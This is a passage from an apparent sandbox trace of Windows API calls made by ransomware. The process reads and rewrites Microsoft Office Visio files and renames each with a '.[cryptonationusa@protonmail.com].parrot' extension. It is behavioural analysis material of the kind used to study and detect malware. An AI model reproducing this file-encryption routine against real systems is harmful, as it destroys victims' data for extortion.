lpNumberOfBytesRead=0x18ebe4*=0x6c00, lpOverlapped=0x0) returned 1 [0212.491] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.492] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ARROWS_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\arrows_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ARROWS_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\arrows_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.499] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.499] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.500] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.501] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4200, lpOverlapped=0x0) returned 1 [0212.501] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.502] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ASTMGT.XLS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\astmgt.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ASTMGT.XLS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\astmgt.xls.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.508] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.508] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.510] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.510] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0212.534] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.535] WriteFile (in: hFile=0x284, lpBuffer=0x6a5268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x6a5268*, lpNumberOfBytesWritten=0x18ebe4*=0x118, lpOverlapped=0x0) returned 1 [0212.539] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.539] WriteFile (in: hFile=0x284, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0212.541] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x120118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0212.542] CloseHandle (hObject=0x284) returned 1 [0212.542] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ASTMGT_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\astmgt_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ASTMGT_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\astmgt_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.551] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.551] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.592] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.592] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0212.620] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.620] WriteFile (in: hFile=0x284, lpBuffer=0x6a5268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x6a5268*, lpNumberOfBytesWritten=0x18ebe4*=0x118, lpOverlapped=0x0) returned 1 [0212.624] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.624] WriteFile (in: hFile=0x284, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0212.627] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11c718, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0212.627] CloseHandle (hObject=0x284) returned 1 [0212.628] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ASTMGT_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\astmgt_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ASTMGT_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\astmgt_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.636] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.636] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.644] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.644] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x26c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x26c00, lpOverlapped=0x0) returned 1 [0212.652] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.656] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\AUDIT_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\audit_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\AUDIT_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\audit_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.663] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.663] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.664] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.664] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6600, lpOverlapped=0x0) returned 1 [0212.668] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.669] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\AUDIT_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\audit_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\AUDIT_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\audit_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.675] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.675] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.676] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.677] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x24800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x24800, lpOverlapped=0x0) returned 1 [0212.680] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.684] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\AUDIT_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\audit_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\AUDIT_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\audit_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.691] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.691] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.692] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.692] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6600, lpOverlapped=0x0) returned 1 [0212.696] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.697] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\AUDIT_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\audit_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\AUDIT_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\audit_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.703] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.703] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.705] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.705] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfa00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xfa00, lpOverlapped=0x0) returned 1 [0212.706] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.709] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BASFLO_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\basflo_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BASFLO_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\basflo_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.717] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.717] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.719] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.719] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5e00, lpOverlapped=0x0) returned 1 [0212.721] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.721] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BASFLO_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\basflo_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BASFLO_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\basflo_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.727] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.727] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.728] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.728] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf400, lpOverlapped=0x0) returned 1 [0212.730] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.732] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BASFLO_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\basflo_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BASFLO_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\basflo_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.741] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.741] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.742] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.742] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5e00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5e00, lpOverlapped=0x0) returned 1 [0212.744] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.745] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BASFLO_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\basflo_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BASFLO_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\basflo_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.751] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.751] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.752] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.752] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4c00, lpOverlapped=0x0) returned 1 [0212.754] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.754] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BASICD_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\basicd_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BASICD_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\basicd_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.760] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.760] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.761] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.762] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4c00, lpOverlapped=0x0) returned 1 [0212.763] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.763] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BASICD_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\basicd_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BASICD_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\basicd_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.767] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.767] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.826] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.826] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x18400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x18400, lpOverlapped=0x0) returned 1 [0212.829] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.833] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BASIC_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\basic_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BASIC_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\basic_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.843] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.843] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.845] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.845] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x17000, lpOverlapped=0x0) returned 1 [0212.848] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.852] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BASIC_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\basic_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BASIC_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\basic_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.861] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.861] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.865] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.865] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x33400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x33400, lpOverlapped=0x0) returned 1 [0212.871] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.874] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BCKGRN_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bckgrn_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\BCKGRN_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\bckgrn_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.880] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.881] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, 